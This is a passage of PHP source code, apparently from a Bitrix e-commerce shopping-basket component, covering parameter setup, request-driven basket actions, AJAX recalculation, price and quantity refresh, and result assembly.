		$params['WEIGHT_UNIT'] = htmlspecialcharsbx(COption::GetOptionString('sale', 'weight_unit', '', $this->getSiteId()));

		// default columns
		$extendedColumnUse = isset($params['COLUMNS_LIST_EXT']);

		if (!$extendedColumnUse || !is_array($params['COLUMNS_LIST_EXT']))
		{
			$params['COLUMNS_LIST_EXT'] = array(
				'PREVIEW_PICTURE', 'DISCOUNT', 'DELETE', 'DELAY', 'TYPE', 'SUM'
			);
		}

		if (empty($params['COLUMNS_LIST']) || $extendedColumnUse)
		{
			$params['COLUMNS_LIST'] = $params['COLUMNS_LIST_EXT'];
		}
		elseif (!in_array('PREVIEW_PICTURE', $params['COLUMNS_LIST']))
		{
			// compatibility
			$params['COLUMNS_LIST'][] = 'PREVIEW_PICTURE';
		}

		// required columns
		if (!in_array('NAME', $params['COLUMNS_LIST']))
		{
			$params['COLUMNS_LIST'] = array_merge(array('NAME'), $params['COLUMNS_LIST']);
		}

		if (!in_array('QUANTITY', $params['COLUMNS_LIST']))
		{
			$params['COLUMNS_LIST'][] = 'QUANTITY';
		}

		if (!in_array('PRICE', $params['COLUMNS_LIST']))
		{
			if (!in_array('SUM', $params['COLUMNS_LIST']))
			{
				$params['COLUMNS_LIST'][] = 'PRICE';
			}
			else // make PRICE before SUM
			{
				$index = array_search('SUM', $params['COLUMNS_LIST']);
				array_splice($params['COLUMNS_LIST'], $index, 0, 'PRICE');
			}
		}

		if (!isset($params['OFFERS_PROPS']) && !is_array($params['OFFERS_PROPS']))
		{
			$params['OFFERS_PROPS'] = array();
		}

		$params['ACTION_VARIABLE'] = isset($params['ACTION_VARIABLE']) ? trim((string)$params['ACTION_VARIABLE']) : '';

		if (
			empty($params['ACTION_VARIABLE'])
			|| !preg_match('/[a-zA-Z0-9_-~.!*\'(),]/', $params['ACTION_VARIABLE'])
		)
		{
			$params['ACTION_VARIABLE'] = 'basketAction';
		}
		else
		{
			$params['ACTION_VARIABLE'] = trim((string)$params['ACTION_VARIABLE']);
		}

		$params['CORRECT_RATIO'] = isset($params['CORRECT_RATIO']) && $params['CORRECT_RATIO'] === 'N' ? 'N' : 'Y';

		foreach ($params as $k => $v)
		{
			if (strpos($k, 'ADDITIONAL_PICT_PROP_') !== false)
			{
				$iblockId = intval(substr($k, strlen('ADDITIONAL_PICT_PROP_')));

				if ($v !== '-')
				{
					$params['ADDITIONAL_PICT_PROP'][$iblockId] = $v;
				}

				unset($params[$k]);
			}
		}

		if (!isset($params['BASKET_IMAGES_SCALING']) || !in_array($params['BASKET_IMAGES_SCALING'], array('standard', 'adaptive', 'no_scale')))
		{
			$params['BASKET_IMAGES_SCALING'] = 'adaptive';
		}

		if (!isset($params['LABEL_PROP']) || !is_array($params['LABEL_PROP']))
		{
			$params['LABEL_PROP'] = array();
		}

		if (!isset($params['LABEL_PROP_MOBILE']) || !is_array($params['LABEL_PROP_MOBILE']))
		{
			$params['LABEL_PROP_MOBILE'] = array();
		}

		if (!empty($params['LABEL_PROP_MOBILE']))
		{
			$params['LABEL_PROP_MOBILE'] = array_fill_keys($params['LABEL_PROP_MOBILE'], true);
		}

		$params['LABEL_PROP_POSITION'] = trim((string)$params['LABEL_PROP_POSITION']) ?: 'top-left';

		$params['SHOW_DISCOUNT_PERCENT'] = !isset($params['SHOW_DISCOUNT_PERCENT']) || $params['SHOW_DISCOUNT_PERCENT'] === 'Y' ? 'Y' : 'N';
		$params['DISCOUNT_PERCENT_POSITION'] = trim((string)$params['DISCOUNT_PERCENT_POSITION']) ?: 'bottom-right';

		$params['BASKET_WITH_ORDER_INTEGRATION'] = isset($params['BASKET_WITH_ORDER_INTEGRATION']) && $params['BASKET_WITH_ORDER_INTEGRATION'] === 'Y' ? 'Y' : 'N';
		$params['BASKET_MAX_COUNT_TO_SHOW'] = isset($params['BASKET_MAX_COUNT_TO_SHOW']) ? (int)$params['BASKET_MAX_COUNT_TO_SHOW'] : 5;
		$params['BASKET_HAS_BEEN_REFRESHED'] = isset($params['BASKET_HAS_BEEN_REFRESHED']) && $params['BASKET_HAS_BEEN_REFRESHED'] === 'Y' ? 'Y' : 'N';

		$params['SHOW_RESTORE'] = isset($params['SHOW_RESTORE']) && $params['SHOW_RESTORE'] === 'N' ? 'N' : 'Y';

		// default gifts
		if (empty($params['USE_GIFTS']))
		{
			$params['USE_GIFTS'] = 'Y';
		}

		if (empty($params['GIFTS_PLACE']))
		{
			$params['GIFTS_PLACE'] = 'BOTTOM';
		}

		if (!isset($params['GIFTS_PAGE_ELEMENT_COUNT']))
		{
			$params['GIFTS_PAGE_ELEMENT_COUNT'] = 4;
		}

		if ($params['BASKET_WITH_ORDER_INTEGRATION'] === 'Y')
		{
			$params['USE_GIFTS'] = 'N';
			$params['HIDE_COUPON'] = 'Y';
			$params['USE_PREPAYMENT'] = 'N';
		}

		$this->initializeParameters($params);

		return $params;
	}

	protected function initializeParameters($params)
	{
		$this->weightKoef = $params['WEIGHT_KOEF'];
		$this->weightUnit = $params['WEIGHT_UNIT'];

		$this->columns = $params['COLUMNS_LIST'];
		$this->offersProps = $params['OFFERS_PROPS'];

		$this->quantityFloat = $params['QUANTITY_FLOAT'];
		$this->priceVatShowValue = $params['PRICE_VAT_SHOW_VALUE'];
		$this->hideCoupon = $params['HIDE_COUPON'];
		$this->usePrepayment = $params['USE_PREPAYMENT'];

		$this->pathToOrder = $params['PATH_TO_ORDER'];
	}

	public function initParametersFromRequest(&$params)
	{
		if (!$this->request->isPost() || $this->request->get('via_ajax') === 'Y')
		{
			return;
		}

		$params['COMPATIBLE_MODE'] = 'Y';
		$params['DEFERRED_REFRESH'] = 'N';

		if (empty($params['COLUMNS_LIST']))
		{
			$columns = (string)$this->request->get('select_props');

			if (!empty($columns))
			{
				$params['COLUMNS_LIST'] = explode(',', $columns);
			}
		}

		if (empty($params['OFFERS_PROPS']))
		{
			$offerProps = (string)$this->request->get('offers_props');

			if (!empty($offerProps))
			{
				$params['OFFERS_PROPS'] = explode(',', $offerProps);
			}
		}

		if (empty($params['QUANTITY_FLOAT']))
		{
			$params['QUANTITY_FLOAT'] = $this->request->get('quantity_float') === 'Y' ? 'Y' : 'N';
		}

		if (empty($params['PRICE_VAT_SHOW_VALUE']))
		{
			$params['PRICE_VAT_SHOW_VALUE'] = $this->request->get('price_vat_show_value') === 'Y' ? 'Y' : 'N';
		}

		if (empty($params['HIDE_COUPON']))
		{
			$params['HIDE_COUPON'] = $this->request->get('hide_coupon') === 'Y' ? 'Y' : 'N';
		}

		if (empty($params['USE_PREPAYMENT']))
		{
			$params['USE_PREPAYMENT'] = $this->request->get('use_prepayment') === 'Y' ? 'Y' : 'N';
		}

		if (empty($params['ACTION_VARIABLE']))
		{
			$params['ACTION_VARIABLE'] = $this->request->get('action_var');
		}
	}

	protected function isCompatibleMode()
	{
		return $this->arParams['COMPATIBLE_MODE'] === 'Y';
	}

	public function onIncludeComponentLang()
	{
		Loc::loadMessages(__FILE__);
	}

	public static function sendJsonAnswer($result)
	{
		global $APPLICATION;

		$APPLICATION->RestartBuffer();
		header('Content-Type: application/json');

		echo \Bitrix\Main\Web\Json::encode($result);

		CMain::FinalActions();
		die();
	}

	protected function includeModules()
	{
		$success = true;

		if (!Loader::includeModule('sale'))
		{
			$success = false;
			ShowError(Loc::getMessage('SALE_MODULE_NOT_INSTALL'));
		}

		return $success;
	}

	protected static function includeIblock()
	{
		if (!isset(self::$iblockIncluded))
		{
			self::$iblockIncluded = Loader::includeModule('iblock');
		}

		return self::$iblockIncluded;
	}

	protected static function includeCatalog()
	{
		if (!isset(self::$catalogIncluded))
		{
			self::$catalogIncluded = Loader::includeModule('catalog');
		}

		return self::$catalogIncluded;
	}

	protected function makeCompatibleArray(&$array)
	{
		if (empty($array) || !is_array($array))
			return;

		$arr = array();
		foreach ($array as $key => $value)
		{
			if (is_array($value) || preg_match("/[;&<>\"]/", $value))
			{
				$arr[$key] = htmlspecialcharsEx($value);
			}
			else
			{
				$arr[$key] = $value;
			}

			$arr["~{$key}"] = $value;
		}

		$array = $arr;
	}

	// making correct names for actions (camel case without '_')
	protected function getCorrectActionName($action)
	{
		$action = str_replace('_', ' ', trim((string)$action));

		return str_replace(' ', '', lcfirst(ucwords($action)));
	}

	protected function prepareAction()
	{
		$action = (string)$this->request->get($this->arParams['ACTION_VARIABLE']);

		// prepayment actions
		if (empty($action) && !$this->isBasketIntegrated())
		{
			$basketRefresh = $this->request->get('BasketRefresh');
			$basketOrder = $this->request->get('BasketOrder');

			if (!empty($basketRefresh) || !empty($basketOrder))
			{
				$action = 'basketOrder';
			}
		}

		$action = $this->getCorrectActionName($action);
		if (empty($action))
		{
			$action = self::INITIAL_LOAD_ACTION;
		}

		return $action;
	}

	protected function doAction($action)
	{
		$funcName = $action.'Action';

		if (is_callable(array($this, $funcName)))
		{
			$this->{$funcName}();
		}
	}

	protected function initialLoadAction()
	{
		$this->arResult = array_merge($this->arResult, $this->getBasketItems());
		$this->arResult['WARNING_MESSAGE'] += $this->getWarningsFromSession();

		CJSCore::Init(array('ajax', 'popup'));
		$this->IncludeComponentTemplate();
	}

	// legacy method
	protected function selectItemAction()
	{
		$currentId = (int)$this->request->get('basketItemId');
		$propValues = $this->request->get('props') ?: array();

		$this->changeProductOffer($currentId, self::SEARCH_OFFER_BY_PROPERTIES, $propValues, true);

		$result = array();
		$result['DELETE_ORIGINAL'] = 'Y';
		$result['BASKET_DATA'] = $this->getBasketItems();
		$result['COLUMNS'] = (string)$this->request->get('select_props');
		$result['BASKET_ID'] = $currentId;
		$result['CODE'] = 'SUCCESS';

		$result['PARAMS']['QUANTITY_FLOAT'] = $this->request->get('quantity_float') === 'Y' ? 'Y' : 'N';
		unset($result['BASKET_DATA']['APPLIED_DISCOUNT_LIST'], $result['BASKET_DATA']['FULL_DISCOUNT_LIST']);

		self::sendJsonAnswer($result);
	}

	// legacy method
	protected function recalculateAction()
	{
		$currentId = (int)$this->request->get('basketItemId');
		$propValues = $this->request->get('props') ?: array();

		$this->changeProductOffer($currentId, self::SEARCH_OFFER_BY_PROPERTIES, $propValues, true);

		$result = $this->recalculateBasket($this->request->toArray());

		if (!$this->errorCollection->isEmpty())
		{
			/** @var Error $error */
			foreach ($this->errorCollection as $error)
			{
				$result['WARNING_MESSAGE'][] = $error->getMessage();
			}
		}

		$result['BASKET_DATA'] = $this->getBasketItems();
		$result['COLUMNS'] = (string)$this->request->get('select_props');
		$result['CODE'] = 'SUCCESS';

		if ($this->needToReloadGifts($result))
		{
			$result['BASKET_DATA']['GIFTS_RELOAD'] = true;
		}

		$result['PARAMS']['QUANTITY_FLOAT'] = $this->request->get('quantity_float') === 'Y' ? 'Y' : 'N';
		unset($result['BASKET_DATA']['APPLIED_DISCOUNT_LIST'], $result['BASKET_DATA']['FULL_DISCOUNT_LIST']);

		self::sendJsonAnswer($result);
	}

	// legacy method
	protected function deleteAction()
	{
		global $APPLICATION;

		if (in_array('DELETE', $this->arParams['COLUMNS_LIST']))
		{
			$basket = $this->getBasketStorage()->getBasket();
			if (!$basket->isEmpty())
			{
				$id = (int)$this->request->get('id');
				/** @var Sale\BasketItem $item */
				$item = $basket->getItemByBasketCode($id);
				if ($item)
				{
					$deleteResult = $item->delete();

					if ($deleteResult->isSuccess())
					{
						$saveResult = $basket->save();

						if ($saveResult->isSuccess())
						{
							$_SESSION['SALE_BASKET_NUM_PRODUCTS'][$this->getSiteId()]--;
						}
						else
						{
							$deleteResult->addErrors($saveResult->getErrors());
						}
					}

					if ($deleteResult->isSuccess())
					{
						LocalRedirect($APPLICATION->GetCurPage());
					}
				}
			}
		}
	}

	// legacy method
	protected function delayAction()
	{
		global $APPLICATION;

		if (in_array('DELAY', $this->arParams['COLUMNS_LIST']))
		{
			$basket = $this->getBasketStorage()->getBasket();
			if (!$basket->isEmpty())
			{
				$id = (int)$this->request->get('id');
				/** @var Sale\BasketItem $item */
				$item = $basket->getItemByBasketCode($id);
				if ($item)
				{
					$delayResult = $item->setField('DELAY', 'Y');

					if ($delayResult->isSuccess())
					{
						$saveResult = $basket->save();

						if ($saveResult->isSuccess())
						{
							$_SESSION['SALE_BASKET_NUM_PRODUCTS'][$this->getSiteId()]--;
						}
						else
						{
							$delayResult->addErrors($saveResult->getErrors());
						}

						if ($delayResult->isSuccess())
						{
							LocalRedirect($APPLICATION->GetCurPage());
						}
					}
				}
			}
		}
	}

	// legacy method
	protected function addAction()
	{
		global $APPLICATION;

		if (in_array('DELAY', $this->arParams['COLUMNS_LIST']))
		{
			$basket = $this->getBasketStorage()->getBasket();
			if (!$basket->isEmpty())
			{
				$id = (int)$this->request->get('id');
				/** @var Sale\BasketItem $item */
				$item = $basket->getItemByBasketCode($id);
				if ($item)
				{
					if ($item->isDelay() && $item->canBuy())
					{
						$delayResult = $item->setField('DELAY', 'N');

						if ($delayResult->isSuccess())
						{
							$saveResult = $basket->save();

							if ($saveResult->isSuccess())
							{
								$_SESSION['SALE_BASKET_NUM_PRODUCTS'][$this->getSiteId()]++;
							}
							else
							{
								$delayResult->addErrors($saveResult->getErrors());
							}

							if (!$delayResult->isSuccess())
							{
								$_SESSION['SALE_BASKET_MESSAGE'][] = Loc::getMessage(
									'SBB_PRODUCT_NOT_AVAILABLE',
									array('#PRODUCT#' => $item->getField('NAME'))
								);
							}
						}
					}
					else
					{
						$_SESSION['SALE_BASKET_MESSAGE'][] = Loc::getMessage(
							'SBB_PRODUCT_NOT_AVAILABLE',
							array('#PRODUCT#' => $item->getField('NAME'))
						);
					}

					LocalRedirect($APPLICATION->GetCurPage());
				}
			}
		}
	}

	// legacy method
	protected function basketOrderAction()
	{
		global $APPLICATION;

		$basketRefresh = (string)$this->request->get('BasketRefresh');
		$basketOrder = (string)$this->request->get('BasketOrder');

		$postList = $this->request->toArray();
		$result = $this->recalculateBasket($postList);
		$this->saveBasket();

		if (!$this->errorCollection->isEmpty())
		{
			/** @var Error $error */
			foreach ($this->errorCollection as $error)
			{
				$result['WARNING_MESSAGE'][] = $error->getMessage();
			}
		}

		if (empty($basketRefresh) && !empty($basketOrder) && empty($result['WARNING_MESSAGE']))
		{
			if (!array_key_exists('paypalbutton_x', $postList) && !array_key_exists('paypalbutton_y', $postList))
			{
				LocalRedirect($this->pathToOrder);
			}
		}
		else
		{
			if (!empty($result['WARNING_MESSAGE']))
			{
				$_SESSION['SALE_BASKET_MESSAGE'] = $result['WARNING_MESSAGE'];
			}

			LocalRedirect($APPLICATION->GetCurPage());
		}

		$this->initialLoadAction();
	}

	protected function applyTemplateMutator(&$result)
	{
		if ($this->initComponentTemplate())
		{
			$template = $this->getTemplate();
			$templateFolder = $template->GetFolder();

			if (!empty($templateFolder))
			{
				$file = new Main\IO\File(Main\Application::getDocumentRoot().$templateFolder.'/mutator.php');

				if ($file->isExists())
				{
					include($file->getPath());
				}
			}
		}
	}

	protected function recalculateAjaxAction()
	{
		$result = $this->recalculateBasket($this->request->get('basket'));

		list($basketRefreshed, $changedBasketItems) = $this->refreshAndCorrectRatio();
		$result['BASKET_REFRESHED'] = $basketRefreshed;
		$result['CHANGED_BASKET_ITEMS'] = array_merge($result['CHANGED_BASKET_ITEMS'], $changedBasketItems);

		$this->saveBasket();
		$this->modifyResultAfterSave($result);

		if (
			!empty($result['APPLIED_DISCOUNT_IDS'])
			|| implode(',', $result['APPLIED_DISCOUNT_IDS']) !== $this->request->get('lastAppliedDiscounts')
			|| $this->request->get('fullRecalculation') === 'Y'
		)
		{
			// reload all items
			$this->loadBasketItems();
		}
		else
		{
			$this->loadBasketItems($result['CHANGED_BASKET_ITEMS']);
		}

		$result['BASKET_DATA'] = $this->getBasketResult();

		if ($this->needToReloadGifts($result))
		{
			$result['GIFTS_RELOAD'] = true;
		}

		self::sendJsonAnswer($result);
	}

	protected function refreshAjaxAction()
	{
		if (
			$this->needBasketRefresh()
			&& ($this->request->get('fullRecalculation') === 'Y' || $this->basketHasItemsToUpdate())
		)
		{
			$this->recalculateAjaxAction();
		}

		$result = $this->getDefaultAjaxAnswer();
		$result['BASKET_REFRESHED'] = true;

		self::sendJsonAnswer($result);
	}

	protected function modifyResultAfterSave(&$result)
	{
		if (!empty($result['RESTORED_BASKET_ITEMS']))
		{
			/** @var Sale\BasketItem $basketItem */
			foreach ($result['RESTORED_BASKET_ITEMS'] as $oldId => $basketItem)
			{
				$newId = $basketItem->getId();

				$result['RESTORED_BASKET_ITEMS'][$oldId] = $newId;
				$result['CHANGED_BASKET_ITEMS'][] = $newId;

				if (($key = array_search($basketItem->getBasketCode(), $result['CHANGED_BASKET_ITEMS'])) !== false)
				{
					unset($result['CHANGED_BASKET_ITEMS'][$key]);
				}
			}
		}

		$orderableBasket = $this->getBasketStorage()->getOrderableBasket();
		$this->initializeBasketOrderIfNotExists($orderableBasket);

		foreach ($orderableBasket as $item)
		{
			if ($item->isChanged())
			{
				$result['CHANGED_BASKET_ITEMS'][] = $item->getBasketCode();
			}
		}

		$result['CHANGED_BASKET_ITEMS'] = array_unique($result['CHANGED_BASKET_ITEMS']);

		$discountList = $orderableBasket->getOrder()->getDiscount()->getApplyResult(true);
		$result['APPLIED_DISCOUNT_IDS'] = array_keys($discountList['FULL_DISCOUNT_LIST']);
	}

	protected function addProductToBasket($fields)
	{
		$basket = $this->getBasketStorage()->getBasket();
		$context = array('SITE_ID' => $this->getSiteId());

		return Catalog\Product\Basket::addProductToBasketWithPermissions($basket, $fields, $context, false);
	}

	protected function getUserId()
	{
		global $USER;

		return $USER instanceof CUser ? $USER->GetID() : null;
	}

	protected function needToReloadGifts(array $result)
	{
		$collections = array();

		if ($this->arParams['USE_GIFTS'] === 'Y')
		{
			list($found, $coupon) = $this->getCouponFromRequest($this->request->toArray());

			if ($found && !empty($coupon) && $result['VALID_COUPON'] === true)
			{
				if (!empty($result['BASKET_DATA']['FULL_DISCOUNT_LIST']))
				{
					$giftManager = Sale\Discount\Gift\Manager::getInstance()->setUserId($this->getUserId());

					Sale\Compatible\DiscountCompatibility::stopUsageCompatible();
					$collections = $giftManager->getCollectionsByBasket(
						$this->getBasketStorage()->getBasket(),
						$result['BASKET_DATA']['FULL_DISCOUNT_LIST'],
						$result['BASKET_DATA']['APPLIED_DISCOUNT_LIST']
					);
					Sale\Compatible\DiscountCompatibility::revertUsageCompatible();
				}
			}
		}

		return !empty($collections);
	}

	public function executeComponent()
	{
		if ($this->includeModules())
		{
			DiscountCouponsManager::init();
			$this->setFrameMode(false);

			$this->action = $this->prepareAction();
			Sale\Compatible\DiscountCompatibility::stopUsageCompatible();
			$this->doAction($this->action);
			Sale\Compatible\DiscountCompatibility::revertUsageCompatible();
		}
	}

	protected function getIblockPropertyCodes()
	{
		$propertyCodes = array();
		$this->arCustomSelectFields = array();

		if (!empty($this->columns) && is_array($this->columns))
		{
			foreach ($this->columns as $value)
			{
				if (strncmp($value, 'PROPERTY_', 9) === 0)
				{
					$propCode = ToUpper(substr($value, 9));

					if ($propCode == '')
					{
						continue;
					}

					// array of iblock properties to select
					$this->arCustomSelectFields[] = $value;
					$propertyCodes[] = $propCode;
				}
			}
		}

		return $propertyCodes;
	}

	protected function initializeIblockProperties()
	{
		$propertyCodes = $this->getIblockPropertyCodes();

		if (self::includeIblock() && self::includeCatalog() && !empty($propertyCodes))
		{
			$iblockList = array();
			$catalogIterator = Bitrix\Catalog\CatalogIblockTable::getList(array(
				'select' => array('IBLOCK_ID', 'PRODUCT_IBLOCK_ID', 'SITE_ID' => 'IBLOCK_SITE.SITE_ID'),
				'filter' => array('SITE_ID' => $this->getSiteId()),
				'runtime' => array(
					'IBLOCK_SITE' => array(
						'data_type' => 'Bitrix\Iblock\IblockSiteTable',
						'reference' => array(
							'ref.IBLOCK_ID' => 'this.IBLOCK_ID',
						),
						'join_type' => 'inner'
					)
				)
			));
			while ($catalog = $catalogIterator->fetch())
			{
				$iblockList[] = $catalog['IBLOCK_ID'];

				if ((int)$catalog['PRODUCT_IBLOCK_ID'] > 0)
				{
					$iblockList[] = $catalog['PRODUCT_IBLOCK_ID'];
				}
			}

			if (!empty($iblockList))
			{
				$propertyIterator = Bitrix\Iblock\PropertyTable::getList(array(
					'select' => array(
						'ID', 'IBLOCK_ID', 'NAME', 'ACTIVE', 'SORT', 'CODE', 'TIMESTAMP_X',
						'DEFAULT_VALUE', 'PROPERTY_TYPE', 'ROW_COUNT', 'COL_COUNT', 'LIST_TYPE',
						'MULTIPLE', 'XML_ID', 'FILE_TYPE', 'MULTIPLE_CNT', 'LINK_IBLOCK_ID', 'WITH_DESCRIPTION',
						'SEARCHABLE', 'FILTRABLE', 'IS_REQUIRED', 'VERSION', 'USER_TYPE', 'USER_TYPE_SETTINGS', 'HINT'
					),
					'filter' => array(
						'@IBLOCK_ID' => $iblockList,
						'=ACTIVE' => 'Y',
						'@CODE' => $propertyCodes
					),
					'order' => array('SORT' => 'ASC', 'ID' => 'ASC')
				));
				while ($property = $propertyIterator->fetch())
				{
					$this->arIblockProps[$property['IBLOCK_ID']][$property['CODE']] = $property;

					if (!isset($this->storage['PROPERTY_CODES']))
					{
						$this->storage['PROPERTY_CODES'] = array();
					}

					// don't override previous property (compatibility)
					if (!isset($this->storage['PROPERTY_CODES'][$property['CODE']]))
					{
						$this->storage['PROPERTY_CODES'][$property['CODE']] = $property;
					}
				}
			}
		}
	}

	// legacy method
	public function getCustomColumns()
	{
		$result = array();

		// making grid headers array
		if (!empty($this->columns) && is_array($this->columns))
		{
			foreach ($this->columns as $value)
			{
				$name = '';

				if (strncmp($value, 'PROPERTY_', 9) === 0)
				{
					$propCode = substr($value, 9);

					if ($propCode == '')
						continue;

					// array of iblock properties to select
					$this->arCustomSelectFields[] = $value;
					$id = $value.'_VALUE';
					$name = $value;

					if (isset($this->storage['PROPERTY_CODES'][$propCode]))
					{
						$name = $this->storage['PROPERTY_CODES'][$propCode]['NAME'];
					}
				}
				else
				{
					$id = $value;
				}

				$result[] = array(
					'id' => $id,
					'name' => $name
				);
			}
		}

		return $result;
	}

	protected static function getWarningsFromSession()
	{
		$warnings = array();

		if (!empty($_SESSION['SALE_BASKET_MESSAGE']) && is_array($_SESSION['SALE_BASKET_MESSAGE']))
		{
			$warnings = $_SESSION['SALE_BASKET_MESSAGE'];
			unset($_SESSION['SALE_BASKET_MESSAGE']);
		}

		return $warnings;
	}

	protected function initializeBasketOrderIfNotExists(Sale\Basket $basket)
	{
		if (!$basket->getOrder())
		{
			$userId = $this->getUserId() ?: CSaleUser::GetAnonymousUserID();
			$order = Sale\Order::create($this->getSiteId(), $userId);

			$result = $order->appendBasket($basket);
			if (!$result->isSuccess())
			{
				$this->errorCollection->add($result->getErrors());
			}

			$discounts = $order->getDiscount();
			$showPrices = $discounts->getShowPrices();
			if (!empty($showPrices['BASKET']))
			{
				foreach ($showPrices['BASKET'] as $basketCode => $data)
				{
					$basketItem = $basket->getItemByBasketCode($basketCode);
					if ($basketItem instanceof Sale\BasketItemBase)
					{
						$basketItem->setFieldNoDemand('BASE_PRICE', $data['SHOW_BASE_PRICE']);
						$basketItem->setFieldNoDemand('PRICE', $data['SHOW_PRICE']);
						$basketItem->setFieldNoDemand('DISCOUNT_PRICE', $data['SHOW_DISCOUNT']);
					}
				}
			}
		}
	}

	protected function getFuserId()
	{
		if ($this->fUserId === null)
		{
			$this->fUserId = Fuser::getId();
		}

		return $this->fUserId;
	}

	protected function getBasketStorage()
	{
		if (!isset($this->basketStorage))
		{
			$this->basketStorage = Sale\Basket\Storage::getInstance($this->getFuserId(), $this->getSiteId());
		}

		return $this->basketStorage;
	}

	protected function refreshAndCorrectRatio()
	{
		$basketRefreshed = false;
		$changedItems = array();

		$basket = $this->getBasketStorage()->getBasket();

		$actualQuantityList = $this->getActualQuantityList($basket);

		if ($this->needBasketRefresh())
		{
			$refreshResult = $this->refreshBasket($basket);
			if ($refreshResult->isSuccess())
			{
				$items = $refreshResult->get('CHANGED_BASKET_ITEMS');
				if (!empty($items))
				{
					$changedItems = array_merge($changedItems, $items);
				}
			}

			$basketRefreshed = true;
		}

		if ($this->arParams['CORRECT_RATIO'] === 'Y')
		{
			$ratioResult = Sale\BasketComponentHelper::correctQuantityRatio($basket);

			$items = $ratioResult->get('CHANGED_BASKET_ITEMS');
			if (!empty($items))
			{
				$changedItems = array_merge($changedItems, $items);
			}
		}

		$this->checkQuantityList($basket, $actualQuantityList);

		return array($basketRefreshed, $changedItems);
	}

	protected function refreshBasket(Sale\Basket $basket)
	{
		$refreshStrategy = Basket\RefreshFactory::create(Basket\RefreshFactory::TYPE_FULL);

		$result = $basket->refresh($refreshStrategy);
		if (!$result->isSuccess())
		{
			$this->errorCollection->add($result->getErrors());
		}

		return $result;
	}

	protected function getActualQuantityList(Sale\Basket $basket)
	{
		$quantityList = array();

		if (!$basket->isEmpty())
		{
			/** @var Sale\BasketItemBase $basketItem */
			foreach ($basket as $basketItem)
			{
				if ($basketItem->canBuy() && !$basketItem->isDelay())
				{
					$quantityList[$basketItem->getBasketCode()] = $basketItem->getQuantity();
				}
			}
		}

		return $quantityList;
	}

	protected function checkQuantityList($basket, $compareList)
	{
		$actualQuantityList = $this->getActualQuantityList($basket);

		foreach ($actualQuantityList as $basketCode => $itemQuantity)
		{
			if (!isset($compareList[$basketCode]) || $itemQuantity != $compareList[$basketCode])
			{
				$this->errorCollection->setError(new Error(Loc::getMessage('SBB_PRODUCT_QUANTITY_CHANGED'), $basketCode));
			}
		}
	}

	protected function loadBasketItems($itemsToLoad = null)
	{
		if ($this->isFastLoadRequest())
		{
			$this->basketItems = $this->getBasketItemsRawArray();
		}
		else
		{
			$this->basketItems = $this->getBasketItemsArray($itemsToLoad);
		}

		if (!empty($this->basketItems))
		{
			$this->loadCatalogInfo();
			$this->loadIblockProperties();

			if (self::includeCatalog())
			{
				$this->basketItems = $this->getSkuPropsData($this->basketItems, $this->storage['PARENTS'], $this->offersProps);
			}
		}
	}

	// ToDo get gifts result via ajax to prevent BasketStorage loading while using fast load
	protected function isFastLoadRequest()
	{
		return $this->action === self::INITIAL_LOAD_ACTION
			&& $this->arParams['DEFERRED_REFRESH'] === 'Y'
			&& $this->arParams['USE_GIFTS'] !== 'Y';
	}

	protected function needBasketRefresh()
	{
		if ($this->arParams['DEFERRED_REFRESH'] === 'Y')
		{
			$refresh = $this->request->isAjaxRequest() && $this->action === 'refreshAjax';
		}
		else
		{
			$refresh = !$this->isBasketIntegrated() || $this->arParams['BASKET_HAS_BEEN_REFRESHED']	!==	'Y';
		}

		return $refresh;
	}

	protected function isBasketIntegrated()
	{
		return $this->arParams['BASKET_WITH_ORDER_INTEGRATION'] === 'Y';
	}

	protected function basketHasItemsToUpdate()
	{
		$hasItemsToUpdate = true;

		$refreshGap = (int)Main\Config\Option::get('sale', 'basket_refresh_gap', 0);
		if ($refreshGap > 0)
		{
			$basketItem = Basket::getList(array(
				'filter' => array(
					'FUSER_ID' => $this->getFuserId(),
					'=LID' => $this->getSiteId(),
					'ORDER_ID' => null,
					'<=DATE_REFRESH' => FormatDate('FULL', time() - $refreshGap, '')
				),
				'select' => array('ID'),
				'limit' => 1
			))->fetchAll();

			$hasItemsToUpdate = !empty($basketItem);
		}

		return $hasItemsToUpdate;
	}

	// legacy method
	public function getBasketItems()
	{
		if (!$this->isFastLoadRequest())
		{
			$this->refreshAndCorrectRatio();
			$this->saveBasket();
		}

		$this->loadBasketItems();
		$result = $this->getBasketResult();

		if ($this->isCompatibleMode())
		{
			$this->sortItemsByTabs($result);
		}

		return $result;
	}

	protected function saveBasket()
	{
		$basket = $this->getBasketStorage()->getBasket();

		if ($basket->isChanged())
		{
			$res = $basket->save();
			if (!$res->isSuccess())
			{
				$this->errorCollection->add($res->getErrors());
			}
		}
	}

	protected function getBasketResult()
	{
		$result = array();

		$result['GRID']['HEADERS'] = $this->getGridColumns();

		if ($this->isCompatibleMode())
		{
			$result['GRID']['ROWS'] = $this->getGridRows();
		}

		if (!$this->isBasketIntegrated())
		{
			$result += $this->getBasketTotal();
			$result += $this->getCouponInfo();

			if ($this->usePrepayment === 'Y' && (float)$result['allSum'] > 0)
			{
				$result += $this->getPrepayment();
			}
		}

		$result += $this->getErrors();

		$result['BASKET_ITEMS_COUNT'] = $this->storage['BASKET_ITEMS_COUNT'];
		$result['ORDERABLE_BASKET_ITEMS_COUNT'] = $this->storage['ORDERABLE_BASKET_ITEMS_COUNT'];
		$result['NOT_AVAILABLE_BASKET_ITEMS_COUNT'] = $this->storage['NOT_AVAILABLE_BASKET_ITEMS_COUNT'];
		$result['DELAYED_BASKET_ITEMS_COUNT'] = $this->storage['DELAYED_BASKET_ITEMS_COUNT'];

		$result['BASKET_ITEM_MAX_COUNT_EXCEEDED'] = $this->basketItemsMaxCountExceeded();
		$result['EVENT_ONCHANGE_ON_START'] = $this->isNeedBasketUpdateEvent();
		$result['CURRENCIES'] = $this->getFormatCurrencies();

		$this->applyTemplateMutator($result);

		return $result;
	}

	protected function basketItemsMaxCountExceeded()
	{
		$exceeded = false;

		if ($this->isBasketIntegrated())
		{
			$exceeded = (int)$this->storage['BASKET_ITEMS_COUNT'] > (int)$this->arParams['BASKET_MAX_COUNT_TO_SHOW'];
		}

		return $exceeded;
	}

	protected function getBasketItemsRawArray()
	{
		$basketItems = array();

		$orderableItemsCount = 0;
		$notAvailableItemsCount = 0;
		$delayedItemsCount = 0;

		$basketItemsResult = Basket::getList(array(
			'filter' => array(
				'FUSER_ID' => $this->getFuserId(),
				'=LID' => $this->getSiteId(),
				'ORDER_ID' => null
			),
			'order' => array(
				'SORT' => 'ASC',
				'ID' => 'ASC'
			)
		));
		while ($basketItem = $basketItemsResult->fetch())
		{
			$basketItem['PROPS'] = array();
			$basketItem['QUANTITY'] = (float)$basketItem['QUANTITY'];

